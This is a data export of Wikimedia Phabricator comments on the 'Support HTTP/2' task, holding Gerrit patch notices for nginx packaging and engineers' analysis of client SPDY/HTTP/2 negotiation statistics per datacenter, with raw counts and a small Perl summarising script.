[[https://gerrit.wikimedia.org/r/284920]]",,,1462218900,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,43,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.142857142857143,0.9047619047619048,"Change 284920 abandoned by BBlack:
Remove --automatic-dbgsym on dyn mod dh_strip

[[GERRIT_URL]]"
655289,Support HTTP/2,"Change 284077 abandoned by BBlack:
nginx (1.9.15-1 wmf1) jessie-wikimedia; urgency=medium

[[https://gerrit.wikimedia.org/r/284077]]",,,1462218893,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,43,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,11.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.5925925925925926,0.8888888888888888,"Change 284077 abandoned by BBlack:
nginx (1.9.15-1 wmf1) jessie-wikimedia; urgency=medium

[[GERRIT_URL]]"
655285,Support HTTP/2,"Change 286508 had a related patch set uploaded (by BBlack):
nginx (1.10.0-1 wmf1) jessie-wikimedia; urgency=medium

[[https://gerrit.wikimedia.org/r/286508]]
",,,1462218739,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,43,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.4705882352941178,0.8529411764705882,"Change 286508 had a related patch set uploaded (by BBlack):
nginx (1.10.0-1 wmf1) jessie-wikimedia; urgency=medium

[[GERRIT_URL]]
"
655284,Support HTTP/2,"Change 286507 had a related patch set uploaded (by BBlack):
Remove --automatic-dbgsym on dyn mod dh_strip

[[https://gerrit.wikimedia.org/r/286507]]
",,,1462218738,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,43,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,14.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.857142857142857,0.8928571428571429,"Change 286507 had a related patch set uploaded (by BBlack):
Remove --automatic-dbgsym on dyn mod dh_strip

[[GERRIT_URL]]
"
655283,Support HTTP/2,"Change 286506 had a related patch set uploaded (by BBlack):
multicert   libssl1.0.2 patches for 1.10.0

[[https://gerrit.wikimedia.org/r/286506]]
",,,1462218737,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,False,,,43,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.076923076923077,0.8846153846153846,"Change 286506 had a related patch set uploaded (by BBlack):
multicert   libssl1.0.2 patches for 1.10.0

[[GERRIT_URL]]
"
654211,Support HTTP/2,"While the 24H data is much better quality (not so subject to daily regional highs and lows), the overall picture is still basically the same.

There's a lot of interesting side- correlations and insights in this data too.  Notably to me: we know from existing LVS stats that ulsfo has ballpark 50% of the traffic rate (in bytes) that esams has, yet when counting raw TLS connection-starts in this data, ulsfo has 23% more connections-per-day than esams.  When we look at the protocol data, we also see that ulsfo skews more in the H/1 direction, probably due to a more-outdated mix of clients, since most of Asia maps there.  So the disparity is probably indicative how much SPDY and H/2's connection-coalescing helps us in raw connection-count terms.  I wasn't expecting that effect to be so big relative to the protocol-stats differential there...

**Planning:**

The next two work-weeks (May 2-6 and 9-13) are the last ones left before the Chrome SPDY cutoff on the 15th.  At this point I'm tentatively planning to upgrade the nginxes for H/2 early next week, probably **Tuesday May 3**.  This should give us some breathing room in case of any last minute complications or delays.",,,1461949131,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,43,True,1.3333333333333333,0.0,0.0,0.0,0.6666666666666666,8.0,1.3333333333333333,0.0,0.0,0.0,2.0,0.6666666666666666,0.0,0.0,0.3333333333333333,2.6666666666666665,0.3333333333333333,8.666666666666666,10.0,0.0,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,1.0,0.0,0.0,0.6666666666666666,0.0,0.0,5.333333333333333,1.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,3.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,14.666666666666666,0.6666666666666666,1.0,0.3333333333333333,2.3333333333333335,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,5.333333333333333,2.0,8.333333333333334,2.0,1.6666666666666667,7.666666666666667,0.0,0.0,0.0,0.0,1.0,0.0,3.6666666666666665,0.0,2.6666666666666665,10.0,4.333333333333333,0.0,0.0,0.0,2.6666666666666665,0.0,1.6666666666666667,0.6666666666666666,1.0,1.6666666666666667,1.3333333333333333,0.3333333333333333,0.0,3.7277834525025533,0.7622574055158324,"While the 24H data is much better quality (not so subject to daily regional highs and lows), the overall picture is still basically the same.

There's a lot of interesting side- correlations and insights in this data too.  Notably to me: we know from existing LVS stats that ulsfo has ballpark 50% of the traffic rate (in bytes) that esams has, yet when counting raw TLS connection-starts in this data, ulsfo has 23% more connections-per-day than esams.  When we look at the protocol data, we also see that ulsfo skews more in the H/1 direction, probably due to a more-outdated mix of clients, since most of Asia maps there.  So the disparity is probably indicative how much SPDY and H/2's connection-coalescing helps us in raw connection-count terms.  I wasn't expecting that effect to be so big relative to the protocol-stats differential there...

**Planning:**

The next two work-weeks (May 2-6 and 9-13) are the last ones left before the Chrome SPDY cutoff on the 15th.  At this point I'm tentatively planning to upgrade the nginxes for H/2 early next week, probably **Tuesday May 3**.  This should give us some breathing room in case of any last minute complications or delays."
654206,Support HTTP/2,"While the 24H data is much better quality (not so subject to daily regional highs and lows), the overall picture is still basically the same.

There's a lot of interesting side- correlations and insights in this data too.  Notably to me: we know from existing LVS stats that ulsfo has ballpark 40% of the traffic rate (in bytes) that esams has, yet when counting raw TLS connection-starts in this data, ulsfo has 23% more connections-per-day than esams.  When we look at the protocol data, we also see that ulsfo skews more in the H/1 direction, probably due to a more-outdated mix of clients, since most of Asia maps there.  So the disparity is probably indicative how much SPDY and H/2's connection-coalescing helps us in raw connection-count terms.  I wasn't expecting that effect to be so big relative to the protocol-stats differential there...

**Planning:**

The next two work-weeks (May 2-6 and 9-13) are the last ones left before the Chrome SPDY cutoff on the 15th.  At this point I'm tentatively planning to upgrade the nginxes for H/2 early next week, probably **Tuesday May 3**.  This should give us some breathing room in case of any last minute complications or delays.",,,1461948807,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,43,True,1.3333333333333333,0.0,0.0,0.0,0.6666666666666666,8.0,1.3333333333333333,0.0,0.0,0.0,2.0,0.6666666666666666,0.0,0.0,0.3333333333333333,2.6666666666666665,0.3333333333333333,8.666666666666666,10.0,0.0,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,1.0,0.0,0.0,0.6666666666666666,0.0,0.0,5.333333333333333,1.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,3.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,14.666666666666666,0.6666666666666666,1.0,0.3333333333333333,2.3333333333333335,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,5.333333333333333,2.0,8.333333333333334,2.0,1.6666666666666667,7.666666666666667,0.0,0.0,0.0,0.0,1.0,0.0,3.6666666666666665,0.0,2.6666666666666665,10.0,4.333333333333333,0.0,0.0,0.0,2.6666666666666665,0.0,1.6666666666666667,0.6666666666666666,1.0,1.6666666666666667,1.3333333333333333,0.3333333333333333,0.0,3.7277834525025533,0.7622574055158324,"While the 24H data is much better quality (not so subject to daily regional highs and lows), the overall picture is still basically the same.

There's a lot of interesting side- correlations and insights in this data too.  Notably to me: we know from existing LVS stats that ulsfo has ballpark 40% of the traffic rate (in bytes) that esams has, yet when counting raw TLS connection-starts in this data, ulsfo has 23% more connections-per-day than esams.  When we look at the protocol data, we also see that ulsfo skews more in the H/1 direction, probably due to a more-outdated mix of clients, since most of Asia maps there.  So the disparity is probably indicative how much SPDY and H/2's connection-coalescing helps us in raw connection-count terms.  I wasn't expecting that effect to be so big relative to the protocol-stats differential there...

**Planning:**

The next two work-weeks (May 2-6 and 9-13) are the last ones left before the Chrome SPDY cutoff on the 15th.  At this point I'm tentatively planning to upgrade the nginxes for H/2 early next week, probably **Tuesday May 3**.  This should give us some breathing room in case of any last minute complications or delays."
654258,Support HTTP/2,"= 24H Results:
| Set | H/1 | Both | SPDY | H/2 |
|--|--|--|--|--|
| **All** | 54.75% | 33.17% | 7.07% | 5.01% |
| **Text** | 57.58% | 28.72% | 6.99% | 6.72% |
| **Upload** | 50.92% | 39.20% | 7.17% | 2.71% |
| **Eqiad** | 50.79% | 38.80% | 6.08% | 4.33% |
| **Codfw** | 53.46% | 36.12% | 5.75% | 4.67% |
| **Esams** | 48.94% | 37.76% | 7.91% | 5.39% |
| **Ulsfo** | 61.93% | 25.77% | 7.15% | 5.15% |

**24H Raw Data:**
```
lines=10
bblack-mba:results bblack$ for x in data/*; do echo == $x ==; cat $x; done
== data/codfw-text ==
total: 7281449
both: 2926542
h2: 618950
npn_spdy: 281796
npn_http1: 401922
alpn_spdy: 269616
== data/codfw-upload ==
total: 10279854
both: 3416927
npn_spdy: 200915
alpn_spdy: 257386
npn_http1: 311183
h2: 201732
== data/eqiad-text ==
total: 40636664
npn_http1: 4094824
both: 13008303
alpn_spdy: 1192650
npn_spdy: 1148605
h2: 2319139
== data/eqiad-upload ==
total: 29285850
both: 14120203
alpn_spdy: 1076487
npn_http1: 2940853
npn_spdy: 834752
h2: 707442
== data/esams-text ==
total: 57042644
both: 17563745
alpn_spdy: 2296790
h2: 3973355
npn_http1: 4486148
npn_spdy: 1737478
== data/esams-upload ==
total: 41003094
both: 19462914
npn_http1: 3615906
npn_spdy: 1458771
alpn_spdy: 2259090
h2: 1313245
== data/ulsfo-text ==
total: 71180940
both: 17082379
npn_spdy: 2270869
npn_http1: 7046627
alpn_spdy: 3108626
h2: 4927614
== data/ulsfo-upload ==
total: 49756271
both: 14087558
npn_http1: 3611621
alpn_spdy: 1965456
npn_spdy: 1296549
h2: 1303043
```",,,1461954315,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,43,True,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,42.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,16.5,0.0,0.5,0.0,4.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.994186046511628,0.3488372093023256,"= 24H Results:
| Set | H/1 | Both | SPDY | H/2 |
|--|--|--|--|--|
| **All** | 54.75% | 33.17% | 7.07% | 5.01% |
| **Text** | 57.58% | 28.72% | 6.99% | 6.72% |
| **Upload** | 50.92% | 39.20% | 7.17% | 2.71% |
| **Eqiad** | 50.79% | 38.80% | 6.08% | 4.33% |
| **Codfw** | 53.46% | 36.12% | 5.75% | 4.67% |
| **Esams** | 48.94% | 37.76% | 7.91% | 5.39% |
| **Ulsfo** | 61.93% | 25.77% | 7.15% | 5.15% |

**24H Raw Data:**
``CODE``"
654201,Support HTTP/2,"= 24H Results:
| Set | H/1 | Both | SPDY | H/2 |
|--|--|--|--|--|
| **All** | 54.75% | 33.17% | 7.07% | 5.01% |
| **Text** | 57.58% | 28.72% | 6.99% | 6.72% |
| **Upload** | 50.92% | 39.20% | 7.17% | 2.71% |
| **Eqiad** | 50.79% | 38.80% | 6.08% | 4.33% |
| **Codfw** | 53.46% | 36.12% | 5.75% | 4.67% |
| **Esams** | 48.94% | 37.76% | 7.91% | 5.39% |
| **Ulsfo** | 61.93% | 25.77% | 7.15% | 5.15% |

**24H Raw Data:**
```
lines=20
bblack-mba:results bblack$ for x in data/*; do echo == $x ==; cat $x; done
== data/codfw-text ==
total: 7281449
both: 2926542
h2: 618950
npn_spdy: 281796
npn_http1: 401922
alpn_spdy: 269616
== data/codfw-upload ==
total: 10279854
both: 3416927
npn_spdy: 200915
alpn_spdy: 257386
npn_http1: 311183
h2: 201732
== data/eqiad-text ==
total: 40636664
npn_http1: 4094824
both: 13008303
alpn_spdy: 1192650
npn_spdy: 1148605
h2: 2319139
== data/eqiad-upload ==
total: 29285850
both: 14120203
alpn_spdy: 1076487
npn_http1: 2940853
npn_spdy: 834752
h2: 707442
== data/esams-text ==
total: 57042644
both: 17563745
alpn_spdy: 2296790
h2: 3973355
npn_http1: 4486148
npn_spdy: 1737478
== data/esams-upload ==
total: 41003094
both: 19462914
npn_http1: 3615906
npn_spdy: 1458771
alpn_spdy: 2259090
h2: 1313245
== data/ulsfo-text ==
total: 71180940
both: 17082379
npn_spdy: 2270869
npn_http1: 7046627
alpn_spdy: 3108626
h2: 4927614
== data/ulsfo-upload ==
total: 49756271
both: 14087558
npn_http1: 3611621
alpn_spdy: 1965456
npn_spdy: 1296549
h2: 1303043
```",,,1461948037,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,43,True,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,42.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,16.5,0.0,0.5,0.0,4.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.994186046511628,0.3488372093023256,"= 24H Results:
| Set | H/1 | Both | SPDY | H/2 |
|--|--|--|--|--|
| **All** | 54.75% | 33.17% | 7.07% | 5.01% |
| **Text** | 57.58% | 28.72% | 6.99% | 6.72% |
| **Upload** | 50.92% | 39.20% | 7.17% | 2.71% |
| **Eqiad** | 50.79% | 38.80% | 6.08% | 4.33% |
| **Codfw** | 53.46% | 36.12% | 5.75% | 4.67% |
| **Esams** | 48.94% | 37.76% | 7.91% | 5.39% |
| **Ulsfo** | 61.93% | 25.77% | 7.15% | 5.15% |

**24H Raw Data:**
``CODE``"
653655,Support HTTP/2,">>! In T96848#2248985, @faidon wrote:
>>>! In T96848#2248953, @BBlack wrote:
>> I'd say this looks like a fine tradeoff to me.  2% net drop back to H/1, vs moving forward on standards and slightly-improving things for most clients (and increasingly more as the deprecated SPDY phases out and more clients move to H/2 -capable browsers).
> 
> Fully agreed.

+1",,,1461865460,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,43,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,45.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,45.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.36363636363636365,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

+1"
653601,Support HTTP/2,">>! In T96848#2248953, @BBlack wrote:
> I'd say this looks like a fine tradeoff to me.  2% net drop back to H/1, vs moving forward on standards and slightly-improving things for most clients (and increasingly more as the deprecated SPDY phases out and more clients move to H/2 -capable browsers).

Fully agreed.",,,1461861354,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,43,True,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5714285714285716,0.8571428571428571,"QUOTE
QUOTE

Fully agreed."
653596,Support HTTP/2,"(FTR: 24H sample started at 16:17 UTC, but stashbot didn't log it here)",,,1461860448,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,43,True,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,11.0,0.0,6.0,6.0,17.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2777777777777777,1.0,"(FTR: 24H sample started at 16:17 UTC, but stashbot didn't log it here)"
653592,Support HTTP/2,"In the overall 1H test data, the net result is that when we make the switch:

* ~33% of our client connections will upgrade from SPDY to H/2 (which is a very minor improvement)
* ~7% of our client connections will revert from SPDY to H/1
* ~5% of our client connections will upgrade from H/1 to H/2

I'd say this looks like a fine tradeoff to me.  2% net drop back to H/1, vs moving forward on standards and slightly-improving things for most clients (and increasingly more as the deprecated SPDY phases out and more clients move to H/2 -capable browsers).

Will report back again after 24H data is in.",,,1461860016,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,43,True,0.0,0.0,0.5,0.0,0.0,6.0,1.5,0.0,0.0,0.0,2.0,0.5,0.0,0.5,0.0,3.5,0.0,6.0,13.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,4.5,0.0,0.0,1.5,0.0,0.0,0.5,0.5,1.5,0.0,0.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,13.0,1.0,0.0,0.5,2.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,3.5,1.5,7.5,1.0,2.0,4.5,0.0,0.0,0.0,0.0,3.5,0.0,2.0,0.0,4.0,13.5,3.0,0.0,0.0,0.0,4.0,0.0,1.0,1.0,0.5,1.5,1.5,0.5,0.5,3.708955223880597,0.7313432835820896,"In the overall 1H test data, the net result is that when we make the switch:

* ~33% of our client connections will upgrade from SPDY to H/2 (which is a very minor improvement)
* ~7% of our client connections will revert from SPDY to H/1
* ~5% of our client connections will upgrade from H/1 to H/2

I'd say this looks like a fine tradeoff to me.  2% net drop back to H/1, vs moving forward on standards and slightly-improving things for most clients (and increasingly more as the deprecated SPDY phases out and more clients move to H/2 -capable browsers).

Will report back again after 24H data is in."
653589,Support HTTP/2,"The initial 1-hour run is done, and there didn't seem to be any adverse effects.

For the record, this is how the raw results format looks per-host:
```
total: 3603944
both: 1099183
npn_http1: 252756
h2: 230561
alpn_spdy: 135580
npn_spdy: 98353
```

And the way we interpret the raw fields is:
* total - total count of TLS reqs
* sum(everything_else) - count of TLS reqs that sent npn and/or alpn at all, and each stat is mutually exclusive of the others
* both - ALPN indicates H/2+SPDY support
* h2 - ALPN indicates H/2 (but not SPDY) support
* alpn_spdy - ALPN indicates SPDY (but not H/2) support
* npn_spdy - NPN negotiated SPDY
* npn_http1 - NPN negotiated H/1

So the way we summarize this into useful categories:
* total - (both + h2 + alpn_spdy + npn_spdy) = H/1 -only client
* both = H/2 + SPDY client
* h2 = H/2 -only client
* alpn_spdy + npn_spdy = SPDY -only client

For posterity, this is the raw input data from the systemtap outputs:
```
lines=10
bblack-mba:results bblack$ for x in data/*; do echo == $x ==; cat $x; done
== data/codfw-text ==
npn_spdy: 11503
total: 352108
both: 132412
npn_http1: 16838
h2: 27524
alpn_spdy: 15348
== data/codfw-upload ==
total: 515998
both: 213510
h2: 10967
alpn_spdy: 13434
npn_spdy: 9492
npn_http1: 13194
== data/eqiad-text ==
total: 2371468
both: 695392
npn_http1: 208858
alpn_spdy: 64813
h2: 108680
npn_spdy: 57747
== data/eqiad-upload ==
total: 1776024
both: 803344
npn_http1: 151205
npn_spdy: 40178
h2: 34020
alpn_spdy: 57187
== data/esams-text ==
total: 3603944
both: 1099183
npn_http1: 252756
h2: 230561
alpn_spdy: 135580
npn_spdy: 98353
== data/esams-upload ==
total: 2601065
both: 1236225
npn_spdy: 81747
alpn_spdy: 140342
h2: 92966
npn_http1: 204499
== data/ulsfo-text ==
total: 3781743
both: 906763
h2: 247087
npn_spdy: 118687
npn_http1: 414406
alpn_spdy: 166198
== data/ulsfo-upload ==
total: 2360306
h2: 59818
both: 687778
npn_http1: 204378
alpn_spdy: 91328
npn_spdy: 66768
```

And this is the script I'm using to process them:
```
bblack-mba:results bblack$ cat h2-proc.pl
#!/usr/bin/perl -w

use strict;

my %raw;
while(<>) {
    my ($k, $v) = split(/:\s*/, $_);
    $raw{$k} += $v;
}

my %out;
$out{'h1'} = ($raw{'total'} - ($raw{'both'} + $raw{'h2'} + $raw{'alpn_spdy'} + $raw{'npn_spdy'})) / $raw{'total'};
$out{'both'} = $raw{'both'} / $raw{'total'};
$out{'h2'} = $raw{'h2'} / $raw{'total'};
$out{'spdy'} = ($raw{'alpn_spdy'} + $raw{'npn_spdy'}) / $raw{'total'};

foreach my $k (sort { $out{$b} <=> $out{$a} } keys %out) {
    printf(""| %s | %.02f%% |\n"", $k, 100 * $out{$k});
}
```

And this is the results broken down by-cluster (for all DCs combined) and by-DC (for both clusters combined):
== All:
`bblack-mba:results bblack$ cat data/* | ./h2-proc.pl`
| h1 | 55.34% |
| both | 33.26% |
| spdy | 6.73% |
| h2 | 4.67% |
== Text:
`bblack-mba:results bblack$ cat data/*-text | ./h2-proc.pl`
| h1 | 59.29% |
| both | 28.03% |
| spdy | 6.61% |
| h2 | 6.07% |
== Upload:
`bblack-mba:results bblack$ cat data/*-upload | ./h2-proc.pl`
| h1 | 49.83% |
| both | 40.54% |
| spdy | 6.90% |
| h2 | 2.73% |
== Eqiad:
`bblack-mba:results bblack$ cat data/eqiad-* | ./h2-proc.pl`
| h1 | 55.12% |
| both | 36.14% |
| spdy | 5.30% |
| h2 | 3.44% |
== Codfw:
`bblack-mba:results bblack$ cat data/codfw-* | ./h2-proc.pl`
| h1 | 49.98% |
| both | 39.85% |
| spdy | 5.73% |
| h2 | 4.43% |
== Ulsfo:
`bblack-mba:results bblack$ cat data/ulsfo-* | ./h2-proc.pl`
| h1 | 61.83% |
| both | 25.96% |
| spdy | 7.21% |
| h2 | 5.00% |
== Esams:
`bblack-mba:results bblack$ cat data/esams-* | ./h2-proc.pl`
| h1 | 49.80% |
| both | 37.64% |
| spdy | 7.35% |
| h2 | 5.21% |",,,1461859535,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-vory37kt7mm2yppntcba,task_subcomment,,True,c3,3,True,,,43,True,0.5,0.0,0.0,0.5,0.5,1.5,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,4.5,5.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,1.5,1.5,1.5,0.5,0.5,3.0,0.0,0.0,0.0,0.0,1.0,0.0,8.0,0.0,0.0,5.5,6.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,3.71875,0.46249999999999997,"The initial 1-hour run is done, and there didn't seem to be any adverse effects.

For the record, this is how the raw results format looks per-host:
